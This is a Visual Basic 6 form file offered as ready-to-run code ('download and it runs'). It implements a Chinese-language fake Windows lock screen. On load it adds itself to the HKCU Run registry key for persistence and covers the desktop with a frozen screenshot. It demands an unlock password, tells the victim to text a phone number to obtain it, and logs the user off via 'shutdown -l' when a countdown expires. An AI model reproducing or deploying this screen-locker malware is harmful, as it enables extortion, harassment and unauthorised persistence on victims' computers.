form1.frm

下载即可运行

VERSION 5.00
Begin VB.Form Form1 
   BorderStyle     =   0  'None
   Caption         =   "Form1"
   ClientHeight    =   10125
   ClientLeft      =   0
   ClientTop       =   390
   ClientWidth     =   15360
   Icon            =   "Form1.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   10125
   ScaleWidth      =   15360
   ShowInTaskbar   =   0   'False
   WindowState     =   2  'Maximized
   Begin VB.PictureBox Picture2 
      Appearance      =   0  'Flat
      BackColor       =   &H00FFFFFF&
      BorderStyle     =   0  'None
      ForeColor       =   &H80000008&
      Height          =   2055
      Left            =   4920
      ScaleHeight     =   2055
      ScaleWidth      =   5415
      TabIndex        =   1
      Top             =   3120
      Width           =   5415
      Begin VB.CommandButton Command1 
         Caption         =   "确定"
         Default         =   -1  'True
         Height          =   375
         Left            =   4320
         TabIndex        =   3
         Top             =   1440
         Width           =   855
      End
      Begin VB.TextBox Text1 
         BeginProperty Font 
            Name            =   "宋体"
            Size            =   12
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         Height          =   375
         IMEMode         =   3  'DISABLE
         Left            =   360
         PasswordChar    =   "*"
         TabIndex        =   2
         Top             =   1440
         Width           =   3735
      End
      Begin VB.Image Image2 
         Height          =   255
         Left            =   120
         Picture         =   "Form1.frx":058A
         Stretch         =   -1  'True
         Top             =   600
         Width           =   255
      End
      Begin VB.Label Label1 
         BackStyle       =   0  'Transparent
         BeginProperty Font 
            Name            =   "宋体"
            Size            =   10.5
            Charset         =   134
            Weight          =   400
            Underline       =   0   'False
            Italic          =   0   'False
            Strikethrough   =   0   'False
         EndProperty
         ForeColor       =   &H00000000&
         Height          =   735
         Left            =   480
         TabIndex        =   4
         Top             =   -600
         Width           =   4695
      End
      Begin VB.Image Image1 
         Height          =   2055
         Left            =   0
         Picture         =   "Form1.frx":0B14
         Stretch         =   -1  'True
         Top             =   0
         Width           =   5415
      End
   End
   Begin VB.PictureBox Picture1 
      Height          =   10095
      Left            =   840
      MousePointer    =   12  'No Drop
      ScaleHeight     =   10035
      ScaleWidth      =   15315
      TabIndex        =   0
      Top             =   240
      Width           =   15375
   End
   Begin VB.Timer Timer1 
      Interval        =   1200
      Left            =   6240
      Top             =   1440
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Type POINTAPI
    x As Long
    y As Long
End Type
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Dim miao%
Dim hKey As Long
Dim strRunCmd As String
Private Sub Command1_Click()
Timer1.Enabled = False
If Text1.Text = "douniwan" Then
miao = 30
Label1.Caption = "windows解锁成功!系统稍后恢复!"
Else
Label1.Caption = "密码不对!请重新输入!" & Chr(13) + Chr(10) & "(发送信息到13540619689就可以得到密码!)"
Text1.Text = ""
End If
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
   strRunCmd = App.Path & "\" & "system55re" & ".exe" '(要启动的路径及名称)
   Call RegCreateKey(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", hKey)
   Call RegSetValueEx(hKey, "MyApp", 0&, REG_SZ, ByVal strRunCmd, Len(strRunCmd) + 100)
   Call RegCloseKey(hKey)
    Dim hdc As Long, Cur As Long
    Dim sw As Integer, sh As Integer
    Dim CurPos As POINTAPI
    Me.Hide
    DoEvents
    Picture1.Width = Screen.Width
    Picture1.Height = Screen.Height
    sw = Screen.Width / Screen.TwipsPerPixelX
    sh = Screen.Height / Screen.TwipsPerPixelY
    Picture1.AutoRedraw = True
    hdc = GetDC(0)
    BitBlt Picture1.hdc, 0, 0, sw, sh, hdc, 0, 0, vbSrcCopy
    ReleaseDC 0, hdc
    Me.Show
    Picture1.AutoRedraw = False
    miao = 20
    Label1.Caption = "windows已被锁定," & miao & "秒后系统将自动注销!" & Chr(13) + Chr(10) & Chr(13) + Chr(10) & "请输入windows解锁密码解除锁定:"
End Sub
Private Sub Timer1_Timer()
miao = miao - 1
If miao > 9 And miao < 20 Then
Label1.Caption = "windows已被锁定," & miao & "秒后系统将自动注销!" & Chr(13) + Chr(10) & Chr(13) + Chr(10) & "请输入windows解锁密码解除锁定:"
End If
If miao < 10 Then
Label1.Caption = "windows已被锁定, " & miao & "秒后系统将自动注销!" & Chr(13) + Chr(10) & Chr(13) + Chr(10) & "请输入windows解锁密码解除锁定:"
End If
If miao = 0 Then
Shell "shutdown -l" '-l 是shutdown 的一个参数意思是注销用户
'Shell "shutdown -R -t 0" '-r 是重启 等待时间为0秒
'Shell "shutdown -S -t 0" '-s 是关闭系统
End
End If
 If miao = 28 Then
End
End If
End Sub